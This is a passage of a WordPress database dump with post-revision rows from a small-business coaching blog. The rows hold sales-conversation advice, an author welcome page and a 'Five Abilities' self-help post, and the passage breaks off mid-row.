(2396, 2, '2013-08-06 19:30:33', '2013-08-07 02:30:33', '<strong><img class="alignnone size-full wp-image-2390" title="influence in sales conversation" src="http://whc.fbdev.org/wp-content/uploads/2013/08/give-advice.jpg" alt="" width="495" height="399" /></strong>\n<h1> When you get that big moment to have your first conversation with a prospective client you’ve been working on for months, remember to be influential with customers, it’s about service not selling!</h1>\nMany early stage entrepreneurs and solo professionals work very hard at prospecting and focusing their energies on opportunities to serve higher value clients/customers. It can be tempting, after so much persistent advance work, to start the first sales conversation sharing what it is you do, make or provide–selling them on your offer!\n\nNothing will diminish the clients perceived value of your presence faster!\n\nChances are, customers can buy your products and services from anybody. Your first sales conversation should never be about your services (that’s what your web site is for). What your client desires from that first conversation will have nothing at all to do with you and your products.\n<h2>You must serve the client-to-be with value to them first BEFORE they will go to the next step with you. What is that value? It’s your expert perspective!</h2>\nYou must be prepared to improve their condition, connecting with their need, acknowledging and appreciating their current emotional state – expressed through your expert perspective. In the first sales conversation, customers desire a useful perspective (larger than their own) that gives them the clarity and confidence to make their best decision to improve their own condition.\n\nIn other words, higher value clients are looking for “guidance and advice” – not a demo or capabilities pitch!\n\nHow you offer advice to your early stage buyer will determine if they want to go deeper in the sales process with you. Here are five keys to offering advice and guidance that will enable you to create more influence in the conversation and trust with your client-to-be – right then and there in your first conversation!<strong></strong>\n\n<strong>1) Be Present.</strong>\nYou better have all your darn self right there present in the moment– open, prepared, relaxed, confident–completely focused on just being there to serve. Then listen!\n\n<strong>2) Acknowledge the client’s current condition.</strong>\nThe person across from you is busy, probably with lots of responsibility, stressed, over worked, and stretched thin and reluctant to buy anything–least of all from you as yet unproven in their eyes. They are in an emotional state of NEED. Listen to the client tell you what they really desire and value. Appreciate their current reality and acknowledge it with empathy.\n\n<strong>3) Ask questions that help the client gain more clarity and understanding of their own problem.</strong>\nAll people who give advice that matters are good attentive listeners, and then they ask powerfully relevant questions that clarify the issue.  Advice givers are prepared to help the client know what they don’t know. You will not go further in sales process if the client-to-be doesn’t come away from that first conversation having more understanding and clarity about their own problem or issue at hand. Your intelligent, well informed questions will help them get there.\n\n<strong>4) Offer the prospective client what they really want – a bigger perspective!</strong>\nYou can only give credible advice when you’re perceived as an expert at improving the client’s condition (however defined by employing idea 2 above). Experts have a perspective that can help the client make better more informed decisions (like buying from you as opposed to somebody else). You provide a bigger view of what’s possible through your well informed, expert perspective.\n\n<strong> 5) When asked, “what would you do” – you tell ‘em!</strong>\nYour prospective customer asks what you would do from your perspective. It’s fair question all advice givers who matter get asked. The catch is the customer doesn’t really want to know what you would do. Heavens no! They want to know what they will do! The client wants to feel confident and avoid risk. If you don’t offer your advice to them with all your passion, enthusiasm and confidence, they won’t be feeling that way about you and your advice. Provide your advice in a manner that instills more confidence in the customer’s actions. Remember it’s never about you.\n\n&nbsp;\n\n<em><strong>Special note: If you want to learn more about these business transformation principles,  consider attending our <a title="Quantum Leap Workshop Registration" href="http://whc.fbdev.org/hot-info/" target="_blank">Quantum Leap Business Transformation Workshop </a>on November 8, 2013.</strong></em>\n\n&nbsp;', 'Five keys to be more influential in your sales conversations.', 0, '', 'inherit', 'open', 'open', '', '2389-revision-6', '', '', '2013-08-06 19:30:33', '2013-08-07 02:30:33', '', 2389, 'http://www.whitehotcenter.com/2013/08/2389-revision-6/', 0, 'revision', '', 0),
(2397, 2, '2013-08-06 19:32:32', '2013-08-07 02:32:32', '<strong><img class="alignnone size-full wp-image-2390" title="influence in sales conversation" src="http://whc.fbdev.org/wp-content/uploads/2013/08/give-advice.jpg" alt="" width="495" height="399" /></strong>\n<h1> When you get that big moment to have your first conversation with a prospective client you’ve been working on for months, remember to be influential with customers, it’s about service not selling!</h1>\nMany early stage entrepreneurs and solo professionals work very hard at prospecting and focusing their business development activities on opportunities to serve higher value clients/customers. It can be tempting, after so much persistent advance work, to start the first sales conversation sharing what it is you do, make or provide–selling them on your offer!\n\nNothing will diminish the clients perceived value of your presence faster!\n\nChances are, customers can buy your products and services from anybody. Your first sales conversation should never be about your services (that’s what your web site is for). What your client desires from that first conversation will have nothing at all to do with you and your products.\n<h2>You must serve the client-to-be with value to them first BEFORE they will go to the next step with you. What is that value? It’s your expert perspective!</h2>\nYou must be prepared to improve their condition, connecting with their need, acknowledging and appreciating their current emotional state – expressed through your expert perspective. In the first sales conversation, customers desire a useful perspective (larger than their own) that gives them the clarity and confidence to make their best decision to improve their own condition.\n\nIn other words, higher value clients are looking for “guidance and advice” – not a demo or capabilities pitch!\n\nHow you offer advice to your early stage buyer will determine if they want to go deeper in the sales process with you. Here are five keys to offering advice and guidance that will enable you to create more influence in the conversation and trust with your client-to-be – right then and there in your first conversation!<strong></strong>\n\n<strong>1) Be Present.</strong>\nYou better have all your darn self right there present in the moment– open, prepared, relaxed, confident–completely focused on just being there to serve. Then listen!\n\n<strong>2) Acknowledge the client’s current condition.</strong>\nThe person across from you is busy, probably with lots of responsibility, stressed, over worked, and stretched thin and reluctant to buy anything–least of all from you as yet unproven in their eyes. They are in an emotional state of NEED. Listen to the client tell you what they really desire and value. Appreciate their current reality and acknowledge it with empathy.\n\n<strong>3) Ask questions that help the client gain more clarity and understanding of their own problem.</strong>\nAll people who give advice that matters are good attentive listeners, and then they ask powerfully relevant questions that clarify the issue.  Advice givers are prepared to help the client know what they don’t know. You will not go further in sales process if the client-to-be doesn’t come away from that first conversation having more understanding and clarity about their own problem or issue at hand. Your intelligent, well informed questions will help them get there.\n\n<strong>4) Offer the prospective client what they really want – a bigger perspective!</strong>\nYou can only give credible advice when you’re perceived as an expert at improving the client’s condition (however defined by employing idea 2 above). Experts have a perspective that can help the client make better more informed decisions (like buying from you as opposed to somebody else). You provide a bigger view of what’s possible through your well informed, expert perspective.\n\n<strong> 5) When asked, “what would you do” – you tell ‘em!</strong>\nYour prospective customer asks what you would do from your perspective. It’s fair question all advice givers who matter get asked. The catch is the customer doesn’t really want to know what you would do. Heavens no! They want to know what they will do! The client wants to feel confident and avoid risk. If you don’t offer your advice to them with all your passion, enthusiasm and confidence, they won’t be feeling that way about you and your advice. Provide your advice in a manner that instills more confidence in the customer’s actions. Remember it’s never about you.\n\n<em><strong>Special note: If you want to learn more about these business transformation principles,  consider attending our <a title="Quantum Leap Workshop Registration" href="http://whc.fbdev.org/hot-info/" target="_blank">Quantum Leap Business Transformation Workshop </a>on November 8, 2013.</strong></em>\n\n&nbsp;', 'Five keys to be more influential in your sales conversations.', 0, '', 'inherit', 'open', 'open', '', '2389-revision-7', '', '', '2013-08-06 19:32:32', '2013-08-07 02:32:32', '', 2389, 'http://www.whitehotcenter.com/2013/08/2389-revision-7/', 0, 'revision', '', 0),
(2398, 2, '2013-08-06 19:37:01', '2013-08-07 02:37:01', '<strong><img class="alignnone size-full wp-image-2390" title="influence in sales conversation" src="http://whc.fbdev.org/wp-content/uploads/2013/08/give-advice.jpg" alt="" width="495" height="399" /></strong>\r\n<h1> When you get that big moment to have your first conversation with a prospective client you’ve been working on for months, remember to be influential with customers, it’s about service not selling!</h1>\r\nMany early stage entrepreneurs and solo professionals work very hard at prospecting and focusing their business development activities on opportunities to serve higher value clients/customers. It can be tempting, after so much persistent advance work, to start the first sales conversation sharing what it is you do, make or provide–selling them on your offer!\r\n\r\nNothing will diminish the clients perceived value of your presence faster!\r\n\r\nChances are, customers can buy your products and services from anybody. Your first sales conversation should never be about your services (that’s what your web site is for). What your client desires from that first conversation will have nothing at all to do with you and your products.\r\n<h2>You must serve the client-to-be with value to them first BEFORE they will go to the next step with you. What is that value? It’s your expert perspective!</h2>\r\nYou must be prepared to improve their condition, connecting with their need, acknowledging and appreciating their current emotional state – expressed through your expert perspective. In the first sales conversation, customers desire a useful perspective (larger than their own) that gives them the clarity and confidence to make their best decision to improve their own condition.\r\n\r\nIn other words, higher value clients are looking for “guidance and advice” – not a demo or capabilities pitch!\r\n\r\nHow you offer advice to your early stage buyer will determine if they want to go deeper in the sales process with you. Here are five keys to offering advice and guidance that will enable you to create more influence in the conversation and trust with your client-to-be – right then and there in your first conversation!<strong></strong>\r\n\r\n<strong>1) Be Present.</strong>\r\nYou better have all your darn self right there present in the moment– open, prepared, relaxed, confident–completely focused on just being there to serve. Then listen!\r\n\r\n<strong>2) Acknowledge the client’s current condition.</strong>\r\nThe person across from you is busy, probably with lots of responsibility, stressed, over worked, and stretched thin and reluctant to buy anything–least of all from you as yet unproven in their eyes. They are in an emotional state of NEED. Listen to the client tell you what they really desire and value. Appreciate their current reality and acknowledge it with empathy.\r\n\r\n<strong>3) Ask questions that help the client gain more clarity and understanding of their own problem.</strong>\r\nAll people who give advice that matters are good attentive listeners, and then they ask powerfully relevant questions that clarify the issue.  Advice givers are prepared to help the client know what they don’t know. You will not go further in sales process if the client-to-be doesn’t come away from that first conversation having more understanding and clarity about their own problem or issue at hand. Your intelligent, well informed questions will help them get there.\r\n\r\n<strong>4) Offer the prospective client what they really want – a bigger perspective!</strong>\r\nYou can only give credible advice when you’re perceived as an expert at improving the client’s condition (however defined by employing idea 2 above). Experts have a perspective that can help the client make better more informed decisions (like buying from you as opposed to somebody else). You provide a bigger view of what’s possible through your well informed, expert perspective.\r\n\r\n<strong> 5) When asked, “what would you do” – you tell ‘em!</strong>\r\nYour prospective customer asks what you would do from your perspective. It’s a fair question all advice givers who matter get asked. The catch is the customer doesn’t really want to know what you would do. Heavens no! They want to know what they will do! The client wants to feel confident and avoid risk. If you don’t offer your advice to them with all your passion, enthusiasm and confidence, they won’t be feeling that way about you and your advice. Provide your advice in a manner that instills more confidence in the customer’s actions. Remember it’s never about you.\r\n\r\n<em><strong>Special note: If you want to learn more about these business transformation principles,  consider attending our <a title="Quantum Leap Workshop Registration" href="http://whc.fbdev.org/hot-info/" target="_blank">Quantum Leap Business Transformation Workshop </a>on November 8, 2013, in beautiful Ojai, California!\r\n</strong></em>\r\n\r\n&nbsp;', 'Five keys to be more influential in your sales conversations.', 0, '', 'inherit', 'open', 'open', '', '2389-revision-8', '', '', '2013-08-06 19:37:01', '2013-08-07 02:37:01', '', 2389, 'http://www.whitehotcenter.com/2013/08/2389-revision-8/', 0, 'revision', '', 0),
(2399, 2, '2013-08-06 19:37:11', '2013-08-07 02:37:11', '<strong><img class="alignnone size-full wp-image-2390" title="influence in sales conversation" src="http://whc.fbdev.org/wp-content/uploads/2013/08/give-advice.jpg" alt="" width="495" height="399" /></strong>\r\n<h1> When you get that big moment to have your first conversation with a prospective client you’ve been working on for months, remember to be influential with customers, it’s about service not selling!</h1>\r\nMany early stage entrepreneurs and solo professionals work very hard at prospecting and focusing their business development activities on opportunities to serve higher value clients/customers. It can be tempting, after so much persistent advance work, to start the first sales conversation sharing what it is you do, make or provide–selling them on your offer!\r\n\r\nNothing will diminish the clients perceived value of your presence faster!\r\n\r\nChances are, customers can buy your products and services from anybody. Your first sales conversation should never be about your services (that’s what your web site is for). What your client desires from that first conversation will have nothing at all to do with you and your products.\r\n<h2>You must serve the client-to-be with value to them first BEFORE they will go to the next step with you. What is that value? It’s your expert perspective!</h2>\r\nYou must be prepared to improve their condition, connecting with their need, acknowledging and appreciating their current emotional state – expressed through your expert perspective. In the first sales conversation, customers desire a useful perspective (larger than their own) that gives them the clarity and confidence to make their best decision to improve their own condition.\r\n\r\nIn other words, higher value clients are looking for “guidance and advice” – not a demo or capabilities pitch!\r\n\r\nHow you offer advice to your early stage buyer will determine if they want to go deeper in the sales process with you. Here are five keys to offering advice and guidance that will enable you to create more influence in the conversation and trust with your client-to-be – right then and there in your first conversation!<strong></strong>\r\n\r\n<strong>1) Be Present.</strong>\r\nYou better have all your darn self right there present in the moment– open, prepared, relaxed, confident–completely focused on just being there to serve. Then listen!\r\n\r\n<strong>2) Acknowledge the client’s current condition.</strong>\r\nThe person across from you is busy, probably with lots of responsibility, stressed, over worked, and stretched thin and reluctant to buy anything–least of all from you as yet unproven in their eyes. They are in an emotional state of NEED. Listen to the client tell you what they really desire and value. Appreciate their current reality and acknowledge it with empathy.\r\n\r\n<strong>3) Ask questions that help the client gain more clarity and understanding of their own problem.</strong>\r\nAll people who give advice that matters are good attentive listeners, and then they ask powerfully relevant questions that clarify the issue.  Advice givers are prepared to help the client know what they don’t know. You will not go further in sales process if the client-to-be doesn’t come away from that first conversation having more understanding and clarity about their own problem or issue at hand. Your intelligent, well informed questions will help them get there.\r\n\r\n<strong>4) Offer the prospective client what they really want – a bigger perspective!</strong>\r\nYou can only give credible advice when you’re perceived as an expert at improving the client’s condition (however defined by employing idea 2 above). Experts have a perspective that can help the client make better more informed decisions (like buying from you as opposed to somebody else). You provide a bigger view of what’s possible through your well informed, expert perspective.\r\n\r\n<strong> 5) When asked, “what would you do” – you tell ‘em!</strong>\r\nYour prospective customer asks what you would do from your perspective. It’s a fair question all advice givers who matter get asked. The catch is the customer doesn’t really want to know what you would do. Heavens no! They want to know what they will do! The client wants to feel confident and avoid risk. If you don’t offer your advice to them with all your passion, enthusiasm and confidence, they won’t be feeling that way about you and your advice. Provide your advice in a manner that instills more confidence in the customer’s actions. Remember it’s never about you.\r\n\r\n<em><strong>Special note: If you want to learn more about these business transformation principles,  consider attending our <a title="Quantum Leap Workshop Registration" href="http://whc.fbdev.org/hot-info/" target="_blank">Quantum Leap Business Transformation Workshop </a>on November 8, 2013, in beautiful Ojai, California!\r\n</strong></em>\r\n\r\n&nbsp;', 'Five keys to be more influential in your sales conversations.', 0, '', 'inherit', 'open', 'open', '', '2389-revision-9', '', '', '2013-08-06 19:37:11', '2013-08-07 02:37:11', '', 2389, 'http://www.whitehotcenter.com/2013/08/2389-revision-9/', 0, 'revision', '', 0),
(2400, 2, '2013-08-03 17:22:28', '2013-08-04 00:22:28', '<h2><img class="alignnone size-full wp-image-2360" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson60whc.jpg" alt="" width="495" height="307" /></h2>\r\n<h2><span style="color: #808080;">Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals at the early stages of their business success.</span></h2>\r\nI’m delighted you have found your way here. If you’re an early-stage entrepreneur or solo professional seeking information, inspiration and guidance on how to get your business to the next level, you’ve come to the right place! My purpose is to share with you everything I’ve learned about business and life success from nearly three decades as a highly successful creative entrepreneur.\r\n\r\nIn my professional career as a marketing strategist, designer, communications and creative consultant, I’ve served executives and their teams in global companies and start-up entrepreneurs alike; helping them to get their personal performance and business success to the next level. My entire professional life has been engaged with success-minded entrepreneurs and solo professionals innovating new ideas, strategies and tactics to create their bigger, better future.\r\n<h2>Here on the White Hot Center, I share ideas for elevating the quality of your presence in the marketplace and in your life!</h2>\r\nThe heart and soul of our conversation here is centered in our mutual interest and burning desire to experience a creative life of success and significance in equal measure. Our shared passion and purpose bonds us together–we are creative entrepreneurs! We are a tribe of people at the intersection and integration of career and calling pursuing what deeply matters to us and improves the condition of our clients and customers.\r\n\r\nThroughout the White Hot Center blog, you’ll find lots of articles presenting ideas, strategies and tactics for greater personal growth, professional leadership, lifestyle design, value creation, marketing, and business development. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire in your business and in your whole life.\r\n\r\nIf you find the ideas presented here useful, please share your comments here and with all your social networks. If you like, <a href="../">subscribe to receive the White Hot Center </a>posts directly in your email.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg"><img class="alignnone size-full wp-image-2361" title="Thomson Speaking" src="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg" alt="" width="495" height="252" /></a>\r\n<img class="alignnone size-full wp-image-2363" title="Thomson Leading Seminar" src="http://whc.fbdev.org/wp-content/uploads/2009/05/unconference.jpg" alt="" width="495" height="188" />\r\n<h3><strong>Work with me!</strong></h3>\r\nI offer issue-based individual business development consulting, group workshops and seminar trainings, tailored to entrepreneurs and solo professionals at the beginning stages of their business growth. Through these consulting and training programs,  I''ll inspire and guide you to more clarity and confidence to make quantum leaps toward greater impact, influence and income. <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">Learn more</a> about how I can help you and your business organization be more successful.\r\n\r\nto your inspired success,\r\n\r\nThomson Dawson\r\nBusiness Transformation and Creative Consultant\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2013-08-03 17:22:28', '2013-08-04 00:22:28', '', 172, 'http://www.whitehotcenter.com/2013/08/172-revision-155/', 0, 'revision', '', 0);
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(2401, 2, '2013-08-08 11:45:44', '2013-08-08 18:45:44', '<h2><img class="alignnone size-full wp-image-2360" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson60whc.jpg" alt="" width="495" height="307" /></h2>\r\n<h2><span style="color: #808080;">Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals at the early stages of their business success.</span></h2>\r\nI’m delighted you have found your way here. If you’re an early-stage entrepreneur or solo professional seeking information, inspiration and guidance on how to get your business to the next level, you’ve come to the right place! My purpose is to share with you everything I’ve learned about business and life success from nearly three decades as a highly successful creative entrepreneur.\r\n\r\nIn my professional career as a marketing strategist, designer, communications and creative consultant, I’ve served executives and their teams in global companies and start-up entrepreneurs alike; helping them to get their personal performance and business success to the next level. My entire professional life has been engaged with success-minded entrepreneurs and solo professionals innovating new ideas, strategies and tactics to create their bigger, better future.\r\n<h2>Here on the White Hot Center, I share ideas for elevating the quality of your presence in the marketplace and in your life!</h2>\r\nThe heart and soul of our conversation here is centered in our mutual interest and burning desire to experience a creative life of success and significance in equal measure. Our shared passion and purpose bonds us together–we are creative entrepreneurs! We are a tribe of people at the intersection and integration of career and calling pursuing what deeply matters to us and improves the condition of our clients and customers.\r\n\r\nThroughout the White Hot Center blog, you’ll find lots of articles presenting ideas, strategies and tactics for greater personal growth, professional leadership, lifestyle design, value creation, marketing, and business development. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire in your business and in your whole life.\r\n\r\nIf you find the ideas presented here useful, please share your comments here and with all your social networks. If you like, <a href="../">subscribe to receive the White Hot Center </a>posts directly in your email.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg"><img class="alignnone size-full wp-image-2361" title="Thomson Speaking" src="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg" alt="" width="495" height="252" /></a>\r\n<img class="alignnone size-full wp-image-2363" title="Thomson Leading Seminar" src="http://whc.fbdev.org/wp-content/uploads/2009/05/unconference.jpg" alt="" width="495" height="188" />\r\n<h3><strong>Work with me!</strong></h3>\r\nI offer issue-based individual business development consulting, group workshops and seminar trainings, tailored to entrepreneurs and solo professionals at the beginning stages of their business growth and for those whose business growth has reached a plateau. Through these consulting and training programs,  I''ll inspire and guide you to more clarity and confidence to make quantum leaps toward greater impact, influence and income. <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">Learn more</a> about how I can help you and your business organization be more successful.\r\n\r\nto your inspired success,\r\n\r\nThomson Dawson\r\nBusiness Transformation and Creative Consultant\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2013-08-08 11:45:44', '2013-08-08 18:45:44', '', 172, 'http://www.whitehotcenter.com/2013/08/172-revision-156/', 0, 'revision', '', 0),
(2402, 2, '2013-08-08 11:46:48', '2013-08-08 18:46:48', '<h2><img class="alignnone size-full wp-image-2360" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson60whc.jpg" alt="" width="495" height="307" /></h2>\r\n<h2><span style="color: #808080;">Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals at the early stages of their business success.</span></h2>\r\nI’m delighted you have found your way here. If you’re an  entrepreneur or solo professional seeking information, inspiration and guidance on how to get your business to the next level, you’ve come to the right place! My purpose is to share with you everything I’ve learned about business and life success from nearly three decades as a highly successful creative entrepreneur.\r\n\r\nIn my professional career as a marketing strategist, designer, communications and creative consultant, I’ve served executives and their teams in global companies and start-up entrepreneurs alike; helping them to get their personal performance and business success to the next level. My entire professional life has been engaged with success-minded entrepreneurs and solo professionals innovating new ideas, strategies and tactics to create their bigger, better future.\r\n<h2>Here on the White Hot Center, I share ideas for elevating the quality of your presence in the marketplace and in your life!</h2>\r\nThe heart and soul of our conversation here is centered in our mutual interest and burning desire to experience a creative life of success and significance in equal measure. Our shared passion and purpose bonds us together–we are creative entrepreneurs! We are a tribe of people at the intersection and integration of career and calling pursuing what deeply matters to us and improves the condition of our clients and customers.\r\n\r\nThroughout the White Hot Center blog, you’ll find lots of articles presenting ideas, strategies and tactics for greater personal growth, professional leadership, lifestyle design, value creation, marketing, and business development. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire in your business and in your whole life.\r\n\r\nIf you find the ideas presented here useful, please share your comments here and with all your social networks. If you like, <a href="../">subscribe to receive the White Hot Center </a>posts directly in your email.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg"><img class="alignnone size-full wp-image-2361" title="Thomson Speaking" src="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg" alt="" width="495" height="252" /></a>\r\n<img class="alignnone size-full wp-image-2363" title="Thomson Leading Seminar" src="http://whc.fbdev.org/wp-content/uploads/2009/05/unconference.jpg" alt="" width="495" height="188" />\r\n<h3><strong>Work with me!</strong></h3>\r\nI offer issue-based individual business development consulting, group workshops and seminar trainings, tailored to entrepreneurs and solo professionals at the beginning stages of their business growth and for those whose business growth has reached a plateau. Through these consulting and training programs,  I''ll inspire and guide you to more clarity and confidence to make quantum leaps toward greater impact, influence and income. <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">Learn more</a> about how I can help you and your business organization be more successful.\r\n\r\nto your inspired success,\r\n\r\nThomson Dawson\r\nBusiness Transformation and Creative Consultant\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2013-08-08 11:46:48', '2013-08-08 18:46:48', '', 172, 'http://www.whitehotcenter.com/2013/08/172-revision-157/', 0, 'revision', '', 0),
(2403, 2, '2013-08-08 21:05:05', '2013-08-09 04:05:05', '<h1><img class="alignnone size-full wp-image-2404" title="The Five Abilities" src="http://whc.fbdev.org/wp-content/uploads/2013/08/five.jpg" alt="" width="495" height="313" /></h1>\r\n<h1>Creating a bigger, better future in your business and life requires sacrifice and discipline. To help you with those, you’ll need to develop these essential five abilities.</h1>\r\nIf you’re an entrepreneur or solo professional seeking to elevate your scene (impact, influence and income) to the next level, I’m confident you’ve tapped in a few Google searches on the topic of goal setting. No doubt in your search, you’ve probably read a lot about sacrifice and discipline.\r\n\r\nHow do you feel about the words “sacrifice” and “discipline”? When you read the opening line of this post did those words feel like prison or freedom to you?  Your feelings about those words may reveal a clue as to the speed and velocity at which you’ll turn possibility into achievement. Think about it…\r\n\r\nTo appreciate the creative power sacrifice and discipline has on the speed and velocity of achieving your goals, you need to possess a fully developed set of other abilities that will enable you to make the right decisions about what you want, and the action necessary to make it happen. I call them “The Five Abilities”.\r\n\r\nMany years ago when I was starting my own marketing communications agency, I was starving for knowledge on personal achievement and success.  I had no confidence (over blind ambition) that I knew how to be successful or even processed the ability to be successful. I knew my craft well; but that was no guarantee I could grow a successful business and feed my young family.\r\n\r\nAfter long and laborious pre internet searching (“seek and ye shall find”), I finally came across five timeless principles (in a book or tape now long forgotten) that deeply resonated with my ambition to achieve my early goals. Although I have forgotten the source, I never forgot the teaching about what specific abilities all extraordinary achievers throughout time have in common.\r\n<h2>After studying these first principles and integrated them into my own thinking and behavior, I began to see some amazing results. What a shock–this stuff works!</h2>\r\nThings started (slowly at first) to move in the right direction and I began to achieve my goals. This was an extraordinary lesson for me to learn in those early years of my entrepreneurial life.\r\n\r\nOver the passing years, with every new achievement came new challenges. Truth be told, I''m facing some exciting, yet demanding challenges right now– I can use a refresher. We call that personal growth and it has no end.\r\n\r\nAs I set new goals and face new challenges in my life, I thought I would share this knowledge with you in hopes it may inspire you to keep believing in your life goals. To this day, I continue my study and practice of these five essential abilities for any life achievement:\r\n\r\n<strong>The ability to pay attention</strong>\r\nDon’t miss a thing! Don’t waste a moment! Let each day of your life be a full experience. Suck everything out of every experience, encounter, opportunity that comes your way!  Absorb it all!  Use everything for your upliftment and advancement. Get really good at the habit of being present in the moment, pay attention to every detail, be focused and more aware and prepared.\r\n\r\n<strong>The ability to be responsive</strong>\r\nLet yourself feel! Let life in! Open the window and the doors! Let some fresh air into your life. Allow life in all its expressions to unfold and touch you– move you! You are not stone! Respond to what life reveals by feeling what your emotions teach you about your outer and inner life philosophy.\r\n\r\n<strong>The ability to reflect</strong>\r\nTake time each day to reflect on your day! Go back over your first thought of the day. What did you learn? Who did you serve? Study your own life in every day. Reflect on all the knowledge you gained today and invest that knowledge in tomorrow. Learn from your days, your weeks, your months, the past year and the past decade.  Keep a journal. It’s the best tool I know of to help me reflect on my day. Solitude works wonders too.\r\n\r\n<strong>The ability to act</strong>\r\nTake deliberate action! Strike when the opportunity is hot. Don’t allow the law of diminished intent rob you of your bigger, better future. Start with what you have and from where you stand. There is no shortage of supply! Labor well in the garden of your life and always be planting seeds.\r\n\r\n<strong>The ability to share</strong>\r\nSharing is an act of expansion. You can’t expand your capacity to be more unless you share more. Pass it along. Pay it forward. Share the love! Sharing makes you bigger, and when you are bigger, more will come to you. Elevate everyone you come into contact with. Leave everything you touch in an improved condition.\r\n\r\nI"ve never stopped learning these abilities. I know from my own experience, when you discipline yourself to mastery of these Five Abilities, you’ll also develop the art of sacrifice–which is to say you will appreciate the creative powers released by forsaking all other options to pursue what truly matters to you in business and in life. Every achievement comes down to sacrifice (deciding what you want) and discipline (making it happen). Developing these Five Abilities will ensure your sacrifice and discipline will be well rewarded through your life well lived.', 'The Five Abilities for any achievement.', 0, '', 'publish', 'open', 'open', '', 'the-five-abilities-for-any-achievement', '', '', '2013-08-08 21:05:05', '2013-08-09 04:05:05', '', 0, 'http://www.whitehotcenter.com/?p=2403', 0, 'post', '', 0),
(2404, 2, '2013-08-08 20:11:06', '2013-08-09 03:11:06', '', 'The Five Abilities', 0, '', 'inherit', 'open', 'open', '', 'five', '', '', '2013-08-08 20:11:06', '2013-08-09 03:11:06', '', 2403, 'http://www.whitehotcenter.com/wp-content/uploads/2013/08/five.jpg', 0, 'attachment', 'image/jpeg', 0),
(2405, 2, '2013-08-08 20:15:29', '2013-08-09 03:15:29', '<h1><img class="alignnone size-full wp-image-2404" title="The Five Abilities" src="http://whc.fbdev.org/wp-content/uploads/2013/08/five.jpg" alt="" width="495" height="313" /></h1>\n<h1>Creating a bigger, better future in your business and life requires sacrifice and discipline. To help you with those, you’ll need to develop these essential five abilities.</h1>\nIf you’re an entrepreneur or solo professional seeking to elevate your scene (impact, influence and income) to the next level, I’m confident you’ve tapped in a few Google searches on the topic of goal setting. No doubt in your search, you’ve probably read a lot about sacrifice and discipline.\n\nHow do you feel about the words “sacrifice” and “discipline”? When you read the opening line of this post did those words feel like prison or freedom to you?  Your feelings about those words may reveal a clue as to the speed and velocity at which you’ll turn possibility into achievement. Think about it…\n\nTo appreciate the creative power sacrifice and discipline has on the speed and velocity of achieving your goals, you need to possess a fully developed set of other abilities that will enable you to make the right decisions about what you want, and the action necessary to make it happen. I call them “The Five Abilities”.\n\nMany years ago when I was starting my own marketing communications agency, I was starving for knowledge on personal achievement and success.  I had no confidence (over blind ambition) that I knew how to be successful or even processed the ability to be successful. I knew my craft well; but that was no guarantee I could grow a successful business and feed my young family.\n\nAfter long and laborious pre internet searching (“seek and ye shall find”), I finally came across five timeless principles (in a book or tape now long forgotten) that deeply resonated with my ambition to achieve my early goals. Although I have forgotten the source, I never forgot the teaching about what specific abilities all extraordinary achievers throughout time have in common.\n<h2>After studied these first principles and integrated them into my own thinking and behavior, I began to see some amazing results. What a shock–it works!</h2>\nThings started (slowly at first) to move in the right direction and I began to achieve my goals. This was an extraordinary lesson for me to learn in those early years of my professional life. Over the passing years, with every new achievement came new challenges. We call that personal growth and it has no end. To this day, I continue my study and practice of these five essential abilities for any life achievement:\n\n<strong>The ability to pay attention</strong>\nDon’t miss a thing! Don’t waste a moment! Let each day of your life be a full experience. Suck everything out of every experience, encounter, opportunity that comes your way!  Absorb it all!  Use everything for your upliftment and advancement. Get really good at the habit of being present in the moment, pay attention to every detail, be focused and more aware and prepared.\n\n<strong>The ability to be responsive</strong>\nLet yourself feel! Let life in! Open the window and the doors! Let some fresh air into your life. Allow life all its expressions to unfold and touch you– move you! You are not stone! Respond to what life reveals by feeling what your emotions teach you about your outer and inner life philosophy.\n\n<strong>The ability to reflect</strong>\nTake time each day to reflect on your day! Go back over your first thought of the day. What did you learn? Who did you serve? Study your own life in every day. Reflect on all the knowledge you gained today and invest that knowledge in tomorrow. Learn from your days, your weeks, your months, the past year and the past decade.  Keep a journal. It’s the best tool I know of to help me reflect on my day. Solitude works wonders too.\n\n<strong>The ability to act</strong>\nTake deliberate action! Strike when the opportunity is hot. Don’t allow the law of diminished intent rob you of your bigger, better future. Start with what you have and from where you stand. There is no shortage of supply! Labor well in the garden of your life and always be planting 